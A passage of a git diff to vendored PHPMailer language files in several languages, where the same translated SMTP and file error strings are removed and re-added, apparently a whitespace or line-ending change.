a/vendor/phpmailer/phpmailer/language/phpmailer.lang-id.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-id.php @@ -1,31 +1,31 @@ - - * @author @januridp - * @author Ian Mustafa - */ - -$PHPMAILER_LANG['authenticate'] = 'Kesalahan SMTP: Tidak dapat mengotentikasi.'; -$PHPMAILER_LANG['connect_host'] = 'Kesalahan SMTP: Tidak dapat terhubung ke host SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Kesalahan SMTP: Data tidak diterima.'; -$PHPMAILER_LANG['empty_message'] = 'Isi pesan kosong'; -$PHPMAILER_LANG['encoding'] = 'Pengkodean karakter tidak dikenali: '; -$PHPMAILER_LANG['execute'] = 'Tidak dapat menjalankan proses: '; -$PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses berkas: '; -$PHPMAILER_LANG['file_open'] = 'Kesalahan Berkas: Berkas tidak dapat dibuka: '; -$PHPMAILER_LANG['from_failed'] = 'Alamat pengirim berikut mengakibatkan kesalahan: '; -$PHPMAILER_LANG['instantiate'] = 'Tidak dapat menginisialisasi fungsi surel.'; -$PHPMAILER_LANG['invalid_address'] = 'Gagal terkirim, alamat surel tidak sesuai: '; -$PHPMAILER_LANG['invalid_hostentry'] = 'Gagal terkirim, entri host tidak sesuai: '; -$PHPMAILER_LANG['invalid_host'] = 'Gagal terkirim, host tidak sesuai: '; -$PHPMAILER_LANG['provide_address'] = 'Harus tersedia minimal satu alamat tujuan'; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer tidak didukung'; -$PHPMAILER_LANG['recipients_failed'] = 'Kesalahan SMTP: Alamat tujuan berikut menyebabkan kesalahan: '; -$PHPMAILER_LANG['signing'] = 'Kesalahan dalam penandatangan SSL: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() gagal.'; -$PHPMAILER_LANG['smtp_error'] = 'Kesalahan pada pelayan SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Tidak dapat mengatur atau mengatur ulang variabel: '; -$PHPMAILER_LANG['extension_missing'] = 'Ekstensi PHP tidak tersedia: '; + + * @author @januridp + * @author Ian Mustafa + */ + +$PHPMAILER_LANG['authenticate'] = 'Kesalahan SMTP: Tidak dapat mengotentikasi.'; +$PHPMAILER_LANG['connect_host'] = 'Kesalahan SMTP: Tidak dapat terhubung ke host SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Kesalahan SMTP: Data tidak diterima.'; +$PHPMAILER_LANG['empty_message'] = 'Isi pesan kosong'; +$PHPMAILER_LANG['encoding'] = 'Pengkodean karakter tidak dikenali: '; +$PHPMAILER_LANG['execute'] = 'Tidak dapat menjalankan proses: '; +$PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses berkas: '; +$PHPMAILER_LANG['file_open'] = 'Kesalahan Berkas: Berkas tidak dapat dibuka: '; +$PHPMAILER_LANG['from_failed'] = 'Alamat pengirim berikut mengakibatkan kesalahan: '; +$PHPMAILER_LANG['instantiate'] = 'Tidak dapat menginisialisasi fungsi surel.'; +$PHPMAILER_LANG['invalid_address'] = 'Gagal terkirim, alamat surel tidak sesuai: '; +$PHPMAILER_LANG['invalid_hostentry'] = 'Gagal terkirim, entri host tidak sesuai: '; +$PHPMAILER_LANG['invalid_host'] = 'Gagal terkirim, host tidak sesuai: '; +$PHPMAILER_LANG['provide_address'] = 'Harus tersedia minimal satu alamat tujuan'; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer tidak didukung'; +$PHPMAILER_LANG['recipients_failed'] = 'Kesalahan SMTP: Alamat tujuan berikut menyebabkan kesalahan: '; +$PHPMAILER_LANG['signing'] = 'Kesalahan dalam penandatangan SSL: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() gagal.'; +$PHPMAILER_LANG['smtp_error'] = 'Kesalahan pada pelayan SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Tidak dapat mengatur atau mengatur ulang variabel: '; +$PHPMAILER_LANG['extension_missing'] = 'Ekstensi PHP tidak tersedia: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-it.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-it.php index 2027ddddfc..08a6b73331 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-it.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-it.php @@ -1,28 +1,28 @@ - - * @author Stefano Sabatini - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Impossibile autenticarsi.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Impossibile connettersi all\'host SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dati non accettati dal server.'; -$PHPMAILER_LANG['empty_message'] = 'Il corpo del messaggio è vuoto'; -$PHPMAILER_LANG['encoding'] = 'Codifica dei caratteri sconosciuta: '; -$PHPMAILER_LANG['execute'] = 'Impossibile eseguire l\'operazione: '; -$PHPMAILER_LANG['file_access'] = 'Impossibile accedere al file: '; -$PHPMAILER_LANG['file_open'] = 'File Error: Impossibile aprire il file: '; -$PHPMAILER_LANG['from_failed'] = 'I seguenti indirizzi mittenti hanno generato errore: '; -$PHPMAILER_LANG['instantiate'] = 'Impossibile istanziare la funzione mail'; -$PHPMAILER_LANG['invalid_address'] = 'Impossibile inviare, l\'indirizzo email non è valido: '; -$PHPMAILER_LANG['provide_address'] = 'Deve essere fornito almeno un indirizzo ricevente'; -$PHPMAILER_LANG['mailer_not_supported'] = 'Mailer non supportato'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: I seguenti indirizzi destinatari hanno generato un errore: '; -$PHPMAILER_LANG['signing'] = 'Errore nella firma: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallita.'; -$PHPMAILER_LANG['smtp_error'] = 'Errore del server SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Impossibile impostare o resettare la variabile: '; -$PHPMAILER_LANG['extension_missing'] = 'Estensione mancante: '; + + * @author Stefano Sabatini + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Impossibile autenticarsi.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Impossibile connettersi all\'host SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dati non accettati dal server.'; +$PHPMAILER_LANG['empty_message'] = 'Il corpo del messaggio è vuoto'; +$PHPMAILER_LANG['encoding'] = 'Codifica dei caratteri sconosciuta: '; +$PHPMAILER_LANG['execute'] = 'Impossibile eseguire l\'operazione: '; +$PHPMAILER_LANG['file_access'] = 'Impossibile accedere al file: '; +$PHPMAILER_LANG['file_open'] = 'File Error: Impossibile aprire il file: '; +$PHPMAILER_LANG['from_failed'] = 'I seguenti indirizzi mittenti hanno generato errore: '; +$PHPMAILER_LANG['instantiate'] = 'Impossibile istanziare la funzione mail'; +$PHPMAILER_LANG['invalid_address'] = 'Impossibile inviare, l\'indirizzo email non è valido: '; +$PHPMAILER_LANG['provide_address'] = 'Deve essere fornito almeno un indirizzo ricevente'; +$PHPMAILER_LANG['mailer_not_supported'] = 'Mailer non supportato'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: I seguenti indirizzi destinatari hanno generato un errore: '; +$PHPMAILER_LANG['signing'] = 'Errore nella firma: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallita.'; +$PHPMAILER_LANG['smtp_error'] = 'Errore del server SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Impossibile impostare o resettare la variabile: '; +$PHPMAILER_LANG['extension_missing'] = 'Estensione mancante: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ja.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ja.php index 5ba2179cda..c76f5264c9 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ja.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ja.php @@ -1,29 +1,29 @@ - - * @author Yoshi Sakai - * @author Arisophy - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTPエラー: 認証できませんでした。'; -$PHPMAILER_LANG['connect_host'] = 'SMTPエラー: SMTPホストに接続できませんでした。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTPエラー: データが受け付けられませんでした。'; -$PHPMAILER_LANG['empty_message'] = 'メール本文が空です。'; -$PHPMAILER_LANG['encoding'] = '不明なエンコーディング: '; -$PHPMAILER_LANG['execute'] = '実行できませんでした: '; -$PHPMAILER_LANG['file_access'] = 'ファイルにアクセスできません: '; -$PHPMAILER_LANG['file_open'] = 'ファイルエラー: ファイルを開けません: '; -$PHPMAILER_LANG['from_failed'] = 'Fromアドレスを登録する際にエラーが発生しました: '; -$PHPMAILER_LANG['instantiate'] = 'メール関数が正常に動作しませんでした。'; -$PHPMAILER_LANG['invalid_address'] = '不正なメールアドレス: '; -$PHPMAILER_LANG['provide_address'] = '少なくとも1つメールアドレスを 指定する必要があります。'; -$PHPMAILER_LANG['mailer_not_supported'] = ' メーラーがサポートされていません。'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTPエラー: 次の受信者アドレスに 間違いがあります: '; -$PHPMAILER_LANG['signing'] = '署名エラー: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP接続に失敗しました。'; -$PHPMAILER_LANG['smtp_error'] = 'SMTPサーバーエラー: '; -$PHPMAILER_LANG['variable_set'] = '変数が存在しません: '; -$PHPMAILER_LANG['extension_missing'] = '拡張機能が見つかりません: '; + + * @author Yoshi Sakai + * @author Arisophy + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTPエラー: 認証できませんでした。'; +$PHPMAILER_LANG['connect_host'] = 'SMTPエラー: SMTPホストに接続できませんでした。'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTPエラー: データが受け付けられませんでした。'; +$PHPMAILER_LANG['empty_message'] = 'メール本文が空です。'; +$PHPMAILER_LANG['encoding'] = '不明なエンコーディング: '; +$PHPMAILER_LANG['execute'] = '実行できませんでした: '; +$PHPMAILER_LANG['file_access'] = 'ファイルにアクセスできません: '; +$PHPMAILER_LANG['file_open'] = 'ファイルエラー: ファイルを開けません: '; +$PHPMAILER_LANG['from_failed'] = 'Fromアドレスを登録する際にエラーが発生しました: '; +$PHPMAILER_LANG['instantiate'] = 'メール関数が正常に動作しませんでした。'; +$PHPMAILER_LANG['invalid_address'] = '不正なメールアドレス: '; +$PHPMAILER_LANG['provide_address'] = '少なくとも1つメールアドレスを 指定する必要があります。'; +$PHPMAILER_LANG['mailer_not_supported'] = ' メーラーがサポートされていません。'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTPエラー: 次の受信者アドレスに 間違いがあります: '; +$PHPMAILER_LANG['signing'] = '署名エラー: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP接続に失敗しました。'; +$PHPMAILER_LANG['smtp_error'] = 'SMTPサーバーエラー: '; +$PHPMAILER_LANG['variable_set'] = '変数が存在しません: '; +$PHPMAILER_LANG['extension_missing'] = '拡張機能が見つかりません: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ka.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ka.php index 53488e1bf3..51fe403b40 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ka.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ka.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP შეცდომა: ავტორიზაცია შეუძლებელია.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP შეცდომა: SMTP სერვერთან დაკავშირება შეუძლებელია.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP შეცდომა: მონაცემები არ იქნა მიღებული.'; -$PHPMAILER_LANG['encoding'] = 'კოდირების უცნობი ტიპი: '; -$PHPMAILER_LANG['execute'] = 'შეუძლებელია შემდეგი ბრძანების შესრულება: '; -$PHPMAILER_LANG['file_access'] = 'შეუძლებელია წვდომა ფაილთან: '; -$PHPMAILER_LANG['file_open'] = 'ფაილური სისტემის შეცდომა: არ იხსნება ფაილი: '; -$PHPMAILER_LANG['from_failed'] = 'გამგზავნის არასწორი მისამართი: '; -$PHPMAILER_LANG['instantiate'] = 'mail ფუნქციის გაშვება ვერ ხერხდება.'; -$PHPMAILER_LANG['provide_address'] = 'გთხოვთ მიუთითოთ ერთი ადრესატის e-mail მისამართი მაინც.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' - საფოსტო სერვერის მხარდაჭერა არ არის.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP შეცდომა: შემდეგ მისამართებზე გაგზავნა ვერ მოხერხდა: '; -$PHPMAILER_LANG['empty_message'] = 'შეტყობინება ცარიელია'; -$PHPMAILER_LANG['invalid_address'] = 'არ გაიგზავნა, e-mail მისამართის არასწორი ფორმატი: '; -$PHPMAILER_LANG['signing'] = 'ხელმოწერის შეცდომა: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'შეცდომა SMTP სერვერთან დაკავშირებისას'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP სერვერის შეცდომა: '; -$PHPMAILER_LANG['variable_set'] = 'შეუძლებელია შემდეგი ცვლადის შექმნა ან შეცვლა: '; -$PHPMAILER_LANG['extension_missing'] = 'ბიბლიოთეკა არ არსებობს: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP შეცდომა: ავტორიზაცია შეუძლებელია.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP შეცდომა: SMTP სერვერთან დაკავშირება შეუძლებელია.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP შეცდომა: მონაცემები არ იქნა მიღებული.'; +$PHPMAILER_LANG['encoding'] = 'კოდირების უცნობი ტიპი: '; +$PHPMAILER_LANG['execute'] = 'შეუძლებელია შემდეგი ბრძანების შესრულება: '; +$PHPMAILER_LANG['file_access'] = 'შეუძლებელია წვდომა ფაილთან: '; +$PHPMAILER_LANG['file_open'] = 'ფაილური სისტემის შეცდომა: არ იხსნება ფაილი: '; +$PHPMAILER_LANG['from_failed'] = 'გამგზავნის არასწორი მისამართი: '; +$PHPMAILER_LANG['instantiate'] = 'mail ფუნქციის გაშვება ვერ ხერხდება.'; +$PHPMAILER_LANG['provide_address'] = 'გთხოვთ მიუთითოთ ერთი ადრესატის e-mail მისამართი მაინც.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' - საფოსტო სერვერის მხარდაჭერა არ არის.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP შეცდომა: შემდეგ მისამართებზე გაგზავნა ვერ მოხერხდა: '; +$PHPMAILER_LANG['empty_message'] = 'შეტყობინება ცარიელია'; +$PHPMAILER_LANG['invalid_address'] = 'არ გაიგზავნა, e-mail მისამართის არასწორი ფორმატი: '; +$PHPMAILER_LANG['signing'] = 'ხელმოწერის შეცდომა: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'შეცდომა SMTP სერვერთან დაკავშირებისას'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP სერვერის შეცდომა: '; +$PHPMAILER_LANG['variable_set'] = 'შეუძლებელია შემდეგი ცვლადის შექმნა ან შეცვლა: '; +$PHPMAILER_LANG['extension_missing'] = 'ბიბლიოთეკა არ არსებობს: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ko.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ko.php index 4cda7ed1e6..8c97dd947c 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ko.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ko.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 오류: 인증할 수 없습니다.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 오류: SMTP 호스트에 접속할 수 없습니다.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 오류: 데이터가 받아들여지지 않았습니다.'; -$PHPMAILER_LANG['empty_message'] = '메세지 내용이 없습니다'; -$PHPMAILER_LANG['encoding'] = '알 수 없는 인코딩: '; -$PHPMAILER_LANG['execute'] = '실행 불가: '; -$PHPMAILER_LANG['file_access'] = '파일 접근 불가: '; -$PHPMAILER_LANG['file_open'] = '파일 오류: 파일을 열 수 없습니다: '; -$PHPMAILER_LANG['from_failed'] = '다음 From 주소에서 오류가 발생했습니다: '; -$PHPMAILER_LANG['instantiate'] = 'mail 함수를 인스턴스화할 수 없습니다'; -$PHPMAILER_LANG['invalid_address'] = '잘못된 주소: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' 메일러는 지원되지 않습니다.'; -$PHPMAILER_LANG['provide_address'] = '적어도 한 개 이상의 수신자 메일 주소를 제공해야 합니다.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 오류: 다음 수신자에서 오류가 발생했습니다: '; -$PHPMAILER_LANG['signing'] = '서명 오류: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 연결을 실패하였습니다.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP 서버 오류: '; -$PHPMAILER_LANG['variable_set'] = '변수 설정 및 초기화 불가: '; -$PHPMAILER_LANG['extension_missing'] = '확장자 없음: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP 오류: 인증할 수 없습니다.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP 오류: SMTP 호스트에 접속할 수 없습니다.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 오류: 데이터가 받아들여지지 않았습니다.'; +$PHPMAILER_LANG['empty_message'] = '메세지 내용이 없습니다'; +$PHPMAILER_LANG['encoding'] = '알 수 없는 인코딩: '; +$PHPMAILER_LANG['execute'] = '실행 불가: '; +$PHPMAILER_LANG['file_access'] = '파일 접근 불가: '; +$PHPMAILER_LANG['file_open'] = '파일 오류: 파일을 열 수 없습니다: '; +$PHPMAILER_LANG['from_failed'] = '다음 From 주소에서 오류가 발생했습니다: '; +$PHPMAILER_LANG['instantiate'] = 'mail 함수를 인스턴스화할 수 없습니다'; +$PHPMAILER_LANG['invalid_address'] = '잘못된 주소: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' 메일러는 지원되지 않습니다.'; +$PHPMAILER_LANG['provide_address'] = '적어도 한 개 이상의 수신자 메일 주소를 제공해야 합니다.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP 오류: 다음 수신자에서 오류가 발생했습니다: '; +$PHPMAILER_LANG['signing'] = '서명 오류: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 연결을 실패하였습니다.'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP 서버 오류: '; +$PHPMAILER_LANG['variable_set'] = '변수 설정 및 초기화 불가: '; +$PHPMAILER_LANG['extension_missing'] = '확장자 없음: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-lt.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-lt.php index 4a4fb9d0d5..4f115b1c58 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-lt.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-lt.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP klaida: autentifikacija nepavyko.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP klaida: nepavyksta prisijungti prie SMTP stoties.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP klaida: duomenys nepriimti.'; -$PHPMAILER_LANG['empty_message'] = 'Laiško turinys tuščias'; -$PHPMAILER_LANG['encoding'] = 'Neatpažinta koduotė: '; -$PHPMAILER_LANG['execute'] = 'Nepavyko įvykdyti komandos: '; -$PHPMAILER_LANG['file_access'] = 'Byla nepasiekiama: '; -$PHPMAILER_LANG['file_open'] = 'Bylos klaida: Nepavyksta atidaryti: '; -$PHPMAILER_LANG['from_failed'] = 'Neteisingas siuntėjo adresas: '; -$PHPMAILER_LANG['instantiate'] = 'Nepavyko paleisti mail funkcijos.'; -$PHPMAILER_LANG['invalid_address'] = 'Neteisingas adresas: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' pašto stotis nepalaikoma.'; -$PHPMAILER_LANG['provide_address'] = 'Nurodykite bent vieną gavėjo adresą.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP klaida: nepavyko išsiųsti šiems gavėjams: '; -$PHPMAILER_LANG['signing'] = 'Prisijungimo klaida: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP susijungimo klaida'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP stoties klaida: '; -$PHPMAILER_LANG['variable_set'] = 'Nepavyko priskirti reikšmės kintamajam: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP klaida: autentifikacija nepavyko.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP klaida: nepavyksta prisijungti prie SMTP stoties.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP klaida: duomenys nepriimti.'; +$PHPMAILER_LANG['empty_message'] = 'Laiško turinys tuščias'; +$PHPMAILER_LANG['encoding'] = 'Neatpažinta koduotė: '; +$PHPMAILER_LANG['execute'] = 'Nepavyko įvykdyti komandos: '; +$PHPMAILER_LANG['file_access'] = 'Byla nepasiekiama: '; +$PHPMAILER_LANG['file_open'] = 'Bylos klaida: Nepavyksta atidaryti: '; +$PHPMAILER_LANG['from_failed'] = 'Neteisingas siuntėjo adresas: '; +$PHPMAILER_LANG['instantiate'] = 'Nepavyko paleisti mail funkcijos.'; +$PHPMAILER_LANG['invalid_address'] = 'Neteisingas adresas: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' pašto stotis nepalaikoma.'; +$PHPMAILER_LANG['provide_address'] = 'Nurodykite bent vieną gavėjo adresą.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP klaida: nepavyko išsiųsti šiems gavėjams: '; +$PHPMAILER_LANG['signing'] = 'Prisijungimo klaida: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP susijungimo klaida'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP stoties klaida: '; +$PHPMAILER_LANG['variable_set'] = 'Nepavyko priskirti reikšmės kintamajam: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-lv.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-lv.php index ee3d9cd563..679b18cf9f 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-lv.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-lv.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP kļūda: Autorizācija neizdevās.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Kļūda: Nevar izveidot savienojumu ar SMTP serveri.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Kļūda: Nepieņem informāciju.'; -$PHPMAILER_LANG['empty_message'] = 'Ziņojuma teksts ir tukšs'; -$PHPMAILER_LANG['encoding'] = 'Neatpazīts kodējums: '; -$PHPMAILER_LANG['execute'] = 'Neizdevās izpildīt komandu: '; -$PHPMAILER_LANG['file_access'] = 'Fails nav pieejams: '; -$PHPMAILER_LANG['file_open'] = 'Faila kļūda: Nevar atvērt failu: '; -$PHPMAILER_LANG['from_failed'] = 'Nepareiza sūtītāja adrese: '; -$PHPMAILER_LANG['instantiate'] = 'Nevar palaist sūtīšanas funkciju.'; -$PHPMAILER_LANG['invalid_address'] = 'Nepareiza adrese: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' sūtītājs netiek atbalstīts.'; -$PHPMAILER_LANG['provide_address'] = 'Lūdzu, norādiet vismaz vienu adresātu.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP kļūda: neizdevās nosūtīt šādiem saņēmējiem: '; -$PHPMAILER_LANG['signing'] = 'Autorizācijas kļūda: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP savienojuma kļūda'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP servera kļūda: '; -$PHPMAILER_LANG['variable_set'] = 'Nevar piešķirt mainīgā vērtību: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP kļūda: Autorizācija neizdevās.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Kļūda: Nevar izveidot savienojumu ar SMTP serveri.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Kļūda: Nepieņem informāciju.'; +$PHPMAILER_LANG['empty_message'] = 'Ziņojuma teksts ir tukšs'; +$PHPMAILER_LANG['encoding'] = 'Neatpazīts kodējums: '; +$PHPMAILER_LANG['execute'] = 'Neizdevās izpildīt komandu: '; +$PHPMAILER_LANG['file_access'] = 'Fails nav pieejams: '; +$PHPMAILER_LANG['file_open'] = 'Faila kļūda: Nevar atvērt failu: '; +$PHPMAILER_LANG['from_failed'] = 'Nepareiza sūtītāja adrese: '; +$PHPMAILER_LANG['instantiate'] = 'Nevar palaist sūtīšanas funkciju.'; +$PHPMAILER_LANG['invalid_address'] = 'Nepareiza adrese: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' sūtītājs netiek atbalstīts.'; +$PHPMAILER_LANG['provide_address'] = 'Lūdzu, norādiet vismaz vienu adresātu.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP kļūda: neizdevās nosūtīt šādiem saņēmējiem: '; +$PHPMAILER_LANG['signing'] = 'Autorizācijas kļūda: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP savienojuma kļūda'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP servera kļūda: '; +$PHPMAILER_LANG['variable_set'] = 'Nevar piešķirt mainīgā vērtību: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-mg.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-mg.php index d60e664301..8a94f6a044 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-mg.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-mg.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Hadisoana SMTP: Tsy nahomby ny fanamarinana.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Tsy afaka mampifandray amin\'ny mpampiantrano SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP diso: tsy voarakitra ny angona.'; -$PHPMAILER_LANG['empty_message'] = 'Tsy misy ny votoaty mailaka.'; -$PHPMAILER_LANG['encoding'] = 'Tsy fantatra encoding: '; -$PHPMAILER_LANG['execute'] = 'Tsy afaka manatanteraka ity baiko manaraka ity: '; -$PHPMAILER_LANG['file_access'] = 'Tsy nahomby ny fidirana amin\'ity rakitra ity: '; -$PHPMAILER_LANG['file_open'] = 'Hadisoana diso: Tsy afaka nanokatra ity file manaraka ity: '; -$PHPMAILER_LANG['from_failed'] = 'Ny adiresy iraka manaraka dia diso: '; -$PHPMAILER_LANG['instantiate'] = 'Tsy afaka nanomboka ny hetsika mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Tsy mety ny adiresy: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer tsy manohana.'; -$PHPMAILER_LANG['provide_address'] = 'Alefaso azafady iray adiresy iray farafahakeliny.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Tsy mety ireo mpanaraka ireto: '; -$PHPMAILER_LANG['signing'] = 'Error nandritra ny sonia:'; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Tsy nahomby ny fifandraisana tamin\'ny server SMTP.'; -$PHPMAILER_LANG['smtp_error'] = 'Fahadisoana tamin\'ny server SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Tsy azo atao ny mametraka na mamerina ny variable: '; -$PHPMAILER_LANG['extension_missing'] = 'Tsy hita ny ampahany: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Hadisoana SMTP: Tsy nahomby ny fanamarinana.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Tsy afaka mampifandray amin\'ny mpampiantrano SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP diso: tsy voarakitra ny angona.'; +$PHPMAILER_LANG['empty_message'] = 'Tsy misy ny votoaty mailaka.'; +$PHPMAILER_LANG['encoding'] = 'Tsy fantatra encoding: '; +$PHPMAILER_LANG['execute'] = 'Tsy afaka manatanteraka ity baiko manaraka ity: '; +$PHPMAILER_LANG['file_access'] = 'Tsy nahomby ny fidirana amin\'ity rakitra ity: '; +$PHPMAILER_LANG['file_open'] = 'Hadisoana diso: Tsy afaka nanokatra ity file manaraka ity: '; +$PHPMAILER_LANG['from_failed'] = 'Ny adiresy iraka manaraka dia diso: '; +$PHPMAILER_LANG['instantiate'] = 'Tsy afaka nanomboka ny hetsika mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Tsy mety ny adiresy: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer tsy manohana.'; +$PHPMAILER_LANG['provide_address'] = 'Alefaso azafady iray adiresy iray farafahakeliny.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Tsy mety ireo mpanaraka ireto: '; +$PHPMAILER_LANG['signing'] = 'Error nandritra ny sonia:'; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Tsy nahomby ny fifandraisana tamin\'ny server SMTP.'; +$PHPMAILER_LANG['smtp_error'] = 'Fahadisoana tamin\'ny server SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Tsy azo atao ny mametraka na mamerina 